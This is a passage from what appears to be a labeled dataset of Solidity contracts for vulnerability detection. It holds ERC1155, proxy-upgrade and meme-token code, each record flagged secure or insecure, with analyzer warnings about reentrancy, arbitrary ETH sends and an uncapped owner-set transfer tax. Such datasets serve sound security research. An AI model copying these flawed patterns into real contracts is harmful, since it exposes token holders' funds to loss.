safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n _safeTransferFrom(from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: transfer caller is not owner nor approved\"\n );\n _safeBatchTransferFrom(from, to, ids, amounts, data);\n }\n\n function _safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n uint256 fromBalance = _balances[id][from];\n require(\n fromBalance >= amount,\n \"ERC1155: insufficient balance for transfer\"\n );\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n\n emit TransferSingle(operator, from, to, id, amount);\n\n _afterTokenTransfer(operator, from, to, ids, amounts, data);\n\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n }\n\n function _safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(\n ids.length == amounts.length,\n \"ERC1155: ids and amounts length mismatch\"\n );\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(\n fromBalance >= amount,\n \"ERC1155: insufficient balance for transfer\"\n );\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n }\n\n emit TransferBatch(operator, from, to, ids, amounts);\n\n _afterTokenTransfer(operator, from, to, ids, amounts, data);\n\n _doSafeBatchTransferAcceptanceCheck(\n operator,\n from,\n to,\n ids,\n amounts,\n data\n );\n }\n\n function _setURI(string memory newuri) internal virtual {\n _uri = newuri;\n }\n\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _balances[id][to] += amount;\n emit TransferSingle(operator, address(0), to, id, amount);\n\n _afterTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _doSafeTransferAcceptanceCheck(\n operator,\n address(0),\n to,\n id,\n amount,\n data\n );\n }\n\n function _mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n require(\n ids.length == amounts.length,\n \"ERC1155: ids and amounts length mismatch\"\n );\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; i++) {\n _balances[ids[i]][to] += amounts[i];\n }\n\n emit TransferBatch(operator, address(0), to, ids, amounts);\n\n _afterTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _doSafeBatchTransferAcceptanceCheck(\n operator,\n address(0),\n to,\n ids,\n amounts,\n data\n );\n }\n\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n require(from != address(0), \"ERC1155: burn from the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n\n emit TransferSingle(operator, from, address(0), id, amount);\n\n _afterTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n }\n\n function _burnBatch(\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual {\n require(from != address(0), \"ERC1155: burn from the zero address\");\n require(\n ids.length == amounts.length,\n \"ERC1155: ids and amounts length mismatch\"\n );\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n for (uint256 i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(\n fromBalance >= amount,\n \"ERC1155: burn amount exceeds balance\"\n );\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n }\n\n emit TransferBatch(operator, from, address(0), ids, amounts);\n\n _afterTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC1155: setting approval status for self\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n function _doSafeTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try\n IERC1155Receiver(to).onERC1155Received(\n operator,\n from,\n id,\n amount,\n data\n )\n returns (bytes4 response) {\n if (response != IERC1155Receiver.onERC1155Received.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _doSafeBatchTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try\n IERC1155Receiver(to).onERC1155BatchReceived(\n operator,\n from,\n ids,\n amounts,\n data\n )\n returns (bytes4 response) {\n if (\n response != IERC1155Receiver.onERC1155BatchReceived.selector\n ) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _asSingletonArray(\n uint256 element\n ) private pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n\n return array;\n }\n}",
"file_name": "solidity_code_2148.sol",
"secure": 1,
"size_bytes": 12453
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\" as ERC1155;\n\nabstract contract ERC1155Burnable is ERC1155 {\n function burn(address account, uint256 id, uint256 value) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burn(account, id, value);\n }\n\n function burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory values\n ) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burnBatch(account, ids, values);\n }\n}",
"file_name": "solidity_code_2149.sol",
"secure": 1,
"size_bytes": 839
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\" as IBeacon;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./StorageSlot.sol\" as StorageSlot;\n\nlibrary ERC1967Utils {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n\n bytes32 internal constant IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n error ERC1967InvalidImplementation(address implementation);\n\n error ERC1967InvalidAdmin(address admin);\n\n error ERC1967InvalidBeacon(address beacon);\n\n error ERC1967NonPayable();\n\n function getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n if (newImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(newImplementation);\n }\n\n StorageSlot\n .getAddressSlot(IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1029496): ERC1967Utils.upgradeToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 1029496: Ensure that all the return values of the function calls are used.\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: 1029496\n Address.functionDelegateCall(newImplementation, data);\n } else {\n _checkNonPayable();\n }\n }\n\n bytes32 internal constant ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n if (newAdmin == address(0)) {\n revert ERC1967InvalidAdmin(address(0));\n }\n\n StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;\n }\n\n function changeAdmin(address newAdmin) internal {\n emit AdminChanged(getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n if (newBeacon.code.length == 0) {\n revert ERC1967InvalidBeacon(newBeacon);\n }\n\n StorageSlot.getAddressSlot(BEACON_SLOT).value = newBeacon;\n\n address beaconImplementation = IBeacon(newBeacon).implementation();\n\n if (beaconImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(beaconImplementation);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65cb386): ERC1967Utils.upgradeBeaconToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data)\n\t// Recommendation for 65cb386: Ensure that all the return values of the function calls are used.\n function upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: 65cb386\n Address.functionDelegateCall(\n IBeacon(newBeacon).implementation(),\n data\n );\n } else {\n _checkNonPayable();\n }\n }\n\n function _checkNonPayable() private {\n if (msg.value > 0) {\n revert ERC1967NonPayable();\n }\n }\n}",
"file_name": "solidity_code_215.sol",
"secure": 0,
"size_bytes": 4221
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TWKEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n uint256 private _standardTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 479a5d7): TWKEN._feeAddrWallet should be immutable \n\t// Recommendation for 479a5d7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"Twitter Chicken\";\n string private constant _symbol = \"TWCKEN\";\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: b7368cf): TWKEN.newtax should be constant \n\t// Recommendation for b7368cf: Add the 'constant' attribute to state variables that never change.\n uint256 newtax = 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal.mul(2).div(100);\n uint256 private _maxWalletSize = _tTotal.mul(2).div(100);\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _standardTax = 5;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a6f501): TWKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a6f501: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8141ec1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8141ec1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c093b1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c093b1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8141ec1\n\t\t// reentrancy-benign | ID: c093b1d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8141ec1\n\t\t// reentrancy-benign | ID: c093b1d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 51296c3): TWKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 51296c3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: c093b1d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8141ec1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 61fa66f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 61fa66f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1b3d34c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1b3d34c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c7d002): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c7d002: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n _feeAddr1 = 0;\n _feeAddr2 = _standardTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: 61fa66f\n\t\t\t\t// reentrancy-benign | ID: 1b3d34c\n\t\t\t\t// reentrancy-eth | ID: 5c7d002\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 61fa66f\n\t\t\t\t\t// reentrancy-eth | ID: 5c7d002\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: 61fa66f\n\t\t// reentrancy-benign | ID: 1b3d34c\n\t\t// reentrancy-eth | ID: 5c7d002\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 8141ec1\n\t\t// reentrancy-events | ID: 61fa66f\n\t\t// reentrancy-benign | ID: c093b1d\n\t\t// reentrancy-benign | ID: 1b3d34c\n\t\t// reentrancy-eth | ID: 5c7d002\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a06650d): TWKEN.standardTax(uint256) should emit an event for _standardTax = tax \n\t// Recommendation for a06650d: Emit an event for critical parameter changes.\n function standardTax(uint256 tax) external onlyOwner {\n\t\t// events-maths | ID: a06650d\n _standardTax = tax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 63a1e65): TWKEN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 63a1e65: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8141ec1\n\t\t// reentrancy-events | ID: 61fa66f\n\t\t// reentrancy-eth | ID: 5c7d002\n\t\t// arbitrary-send-eth | ID: 63a1e65\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 492060a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 492060a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5cf7bc9): TWKEN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5cf7bc9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5d9a7c): TWKEN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e5d9a7c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ffe2973): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ffe2973: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 492060a\n\t\t// reentrancy-eth | ID: ffe2973\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 492060a\n\t\t// unused-return | ID: 5cf7bc9\n\t\t// reentrancy-eth | ID: ffe2973\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 492060a\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 492060a\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: ffe2973\n tradingOpen = true;\n\t\t// unused-return | ID: e5d9a7c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 5c7d002\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 5c7d002\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 61fa66f\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 5c7d002\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 5c7d002\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 1b3d34c\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2150.sol",
"secure": 0,
"size_bytes": 17719
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: bb460a2): Contract locking ether found Contract OPHMR has payable functions OPHMR.constructor() But does not have a function to withdraw the ether\n// Recommendation for bb460a2: Remove the 'payable' attribute or add a withdraw function.\ncontract OPHMR is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 85fa3ef): OPHMR._decimals should be immutable \n\t// Recommendation for 85fa3ef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 8f56485): OPHMR._totalSupply should be immutable \n\t// Recommendation for 8f56485: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: bb460a2): Contract locking ether found Contract OPHMR has payable functions OPHMR.constructor() But does not have a function to withdraw the ether\n\t// Recommendation for bb460a2: Remove the 'payable' attribute or add a withdraw function.\n constructor() payable {\n _name = \"Oppenheimer X\";\n _symbol = \"OPHMR\";\n _decimals = 18;\n _totalSupply = 100000000 * 10 ** _decimals;\n _balances[owner()] = _balances[owner()].add(_totalSupply);\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fc58fc3): OPHMR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fc58fc3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 25fff52): OPHMR.Approve(address[]).Approval shadows IERC20.Approval(address,address,uint256) (event)\n\t// Recommendation for 25fff52: Rename the local variables that shadow another component.\n function Approve(address[] calldata accounts) public onlyOwner {\n uint256 Approval = 